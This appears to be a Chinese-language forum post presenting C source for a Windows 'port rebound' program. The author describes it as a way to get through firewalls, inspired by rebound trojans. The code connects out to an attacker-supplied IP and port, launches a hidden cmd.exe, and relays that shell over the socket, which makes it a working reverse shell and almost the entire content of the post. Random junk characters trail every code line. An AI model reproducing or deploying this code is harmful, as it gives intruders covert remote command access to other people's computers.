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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 AHn!>w,  
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/* ============================== 'A5T$JV.r4  
Rebound port in Windows NT v@QnS  
By wind,2006/7 9NwUX h(:(  
===============================*/ `l'T/F \  
#include `PAQv+EYz  
#include t<fah3hl  
Q(-&}cY  
#pragma comment(lib,"wsock32.lib") 8>WA5:]v  
s i2@k  
void OutputShell(); 3);P !W4>  
SOCKET sClient; M rgj*|  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; D|(\5]:R  
(<>??(VM  
void main(int argc,char **argv) J|{50?S{^  
{  t* Ct*  
WSADATA stWsaData; )rP,+B?W  
int nRet; \azMF}mb  
SOCKADDR_IN stSaiClient,stSaiServer; '6vo#D9M  
kCEuzd=$V  
if(argc != 3) ) ??N]V_U  
{ ;MNUT,U  
printf("Useage:\n\rRebound DestIP DestPort\n"); (U# ,;  
return; G@Z%[YNw  
} .n8O 3V  
+&)/dHbL`]  
WSAStartup(MAKEWORD(2,2),&stWsaData); })<u ~r  
O^CBa$  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uQc("F  
F-zIzzb&O  
stSaiClient.sin_family = AF_INET; h[qZM  
stSaiClient.sin_port = htons(0); ?7wcv$K5  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \&+Y;:6  
}*rSg .  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]wDqdD y7S  
{ qdZ ^D  
printf("Bind Socket Failed!\n"); eY#^vB  
return; [err$  
} x&DqTX?b,  
6bUP]^d  
stSaiServer.sin_family = AF_INET; 0,~s0]h0V  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); sAU%:W{  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4vi?9MPz  
r e zp7  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4+>yL+sC%v  
{ bP-(N14x+  
printf("Connect Error!"); b-8@_@f|g  
return; >}F$6KM  
} sXEIC#rq  
OutputShell(); OEl;R7aOB&  
} ?xUl_  
@` Pn<_L  
void OutputShell() `lE&:)  
{ HdtGyh6X0  
char szBuff[1024]; l(rm0_  
SECURITY_ATTRIBUTES stSecurityAttributes; i/-IjgM"-  
OSVERSIONINFO stOsversionInfo; Epp>L.?r  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; y "+'4:_  
STARTUPINFO stStartupInfo; cO{NiRIb  
char *szShell; /9kxDbj  
PROCESS_INFORMATION stProcessInformation; XdThl  
unsigned long lBytesRead; 7#+Ih-&EQ  
~l:Cj*6x8  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ssQ1u.x9  
3<<wHK;)  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Xh}q/H<  
stSecurityAttributes.lpSecurityDescriptor = 0; O,),0zcYF  
stSecurityAttributes.bInheritHandle = TRUE; &Qda|  
N LpKh1g  
N[O .p]8  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ){P`-ZF  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); >WZ%Pv *  
b+:mV7eX  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Txo{6nd/  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pSC{0Y$g  
stStartupInfo.wShowWindow = SW_HIDE; ~rO&Y{aG#  
stStartupInfo.hStdInput = hReadPipe; XM!oN^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "Cxj_V@\  
16eP7s  
GetVersionEx(&stOsversionInfo); gQik>gFr  
-"ZNkC =  
switch(stOsversionInfo.dwPlatformId) V^FM-bg%9  
{ )G/=3;!  
case 1: **__&X p1  
szShell = "command.com"; bj0HAgY@  
break; 32+N?[9 *  
default: fhZwYx&t  
szShell = "cmd.exe"; \mu';[gLd  
break; vM5I2C3_>!  
} p&Nav,9x  
+&"W:Le:  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); i| cA)  
|%8t.Z  
send(sClient,szMsg,77,0); vh"';L_*37  
while(1) l+6@,TY1U  
{ 4J,6cOuW4  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Mfz(%F|<  
if(lBytesRead) o7+<sL  
{ bS:$VyH6  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); fXnTqKAfu6  
send(sClient,szBuff,lBytesRead,0); _Q^jk0K8ga  
} +Q_xY>ej  
else +e>G V61  
{ qDswFs(  
lBytesRead=recv(sClient,szBuff,1024,0); !-qk1+<h  
if(lBytesRead<=0) break; o"RE4s\G~r  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); " Ke_dM  
} =>Ae]mi 7  
} Kc r)W  
h\#4[/  
return; kKbbsB  
}
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